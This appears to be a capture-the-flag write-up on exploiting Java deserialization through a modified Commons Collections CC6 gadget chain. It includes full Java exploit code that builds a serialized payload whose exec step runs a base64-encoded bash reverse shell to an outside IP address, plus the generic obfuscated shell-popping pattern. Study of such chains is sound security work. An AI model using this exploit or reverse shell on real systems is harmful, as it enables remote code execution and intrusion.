Tritium

Tritium

Pitfalls of Getting Started with JAVA

In the past few days, I encountered a CC chain variant of a Java deserialization challenge as my first or second Java question. I encountered many pitfalls and decided to write them down for future reference.

After reviewing the jar file of the challenge, I found a deserialization point and a subclass of the transformer class, which seems to be a mimic of the invoketransformer class. The basic principle of the CC chain is to use deserialization to invoke invoketransformer and obtain RCE by reflecting on the runtime class.

The challenge provides a hint to exploit the cc6 chain, which is an alternative to cc1 that cannot be used in higher versions of Java.

You can refer to the cc chain here:

https://www.cnblogs.com/bitterz/p/15035581.html

For cc6, you can refer to this blog:

https://www.yulate.com/348.html

For the traditional cc6, the exploitation chain is as follows:

java.io.ObjectInputStream.readObject();
java.util.HashSet.readObject();
java.util.HashMap.put();
java.util.HashMap.hash();
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode();
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue();
org.apache.commons.collections.map.LazyMap.get();
org.apache.commons.collections.functors.ChainedTransformer.transform();
org.apache.commons.collections.functors.InvokerTransformer.transform();
java.lang.reflect.Method.invoke();
java.lang.Runtime.exec();

Deserializing a HashSet object automatically triggers the readObject method during wakeup, which calls the hash method of the internal hashmap. The internal implementation of the hash method calls the hashcode method of its internal object. In this step, calculating the hash requires obtaining the value, which triggers the get method of lazymap. Lazymap calls the invoke method inside chainedtransformer, and RCE is achieved by reflecting on the runtime class.

But when checking the dependency version, it is cc3.2.2, which has fixed the traditional cc6 exploitation. How was it fixed?

Let's check the changelog for this version:

image

It banned several dangerous classes to prevent serialization-based RCE.

Decompiling the jar file using jadx, I found the source code here, which shows the eval class given in the challenge, which is a mimic of the invoketransformer class.

image

The serializable class is added back intentionally so that we can exploit the cc6 chain using this class.

Based on the payload of the traditional cc6 chain, I copied and modified an exploit.

I encountered many pitfalls while setting up the environment, but I won't write them here as I will remember them in the future.

public class cc {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new eval("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new eval("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new eval("exec", new Class[]{String.class}, new String[]{"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNTAuMTA5LjE1OC4yMjAvOTAwMSAwPiYx}|{base64,-d}|{bash,-i}"}),
                new ConstantTransformer(1)
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
        Map hashMap = new HashMap();
        Map decorate = LazyMap.decorate(hashMap, chainedTransformer);
        TiedMapEntry key = new TiedMapEntry(decorate, "key");
        HashSet hashSet = new HashSet(1);
        hashSet.add(key);
        decorate.remove("key");
        Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(chainedTransformer, transformers);
        ByteArrayOutputStream buffer = new ByteArrayOutputStream();
        ObjectOutputStream output = new ObjectOutputStream(buffer);
        output.writeObject(hashSet);
        //base64 encoding
        String payload = Base64.getEncoder().encodeToString(buffer.toByteArray());
        System.out.println(payload);
//        decoserize decoserize = new decoserize();
//        decoserize.decoserize(payload);

    }
}

There are two major pitfalls here:

  1. Package name: It must be exactly the same as the one in the source file, otherwise, it won't be recognized during deserialization.

  2. Shell popping: The simple traditional method won't work. You can refer to the principle here:

https://www.cnblogs.com/BOHB-yunying/p/15523680.html

You need to modify the classic statement to:

bash -c {echo,base64-encoded-shell-command}|{base64,-d}|{bash,-i}

Other than that, everything should work fine. Remember to URL encode the base64.

Loading...
Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.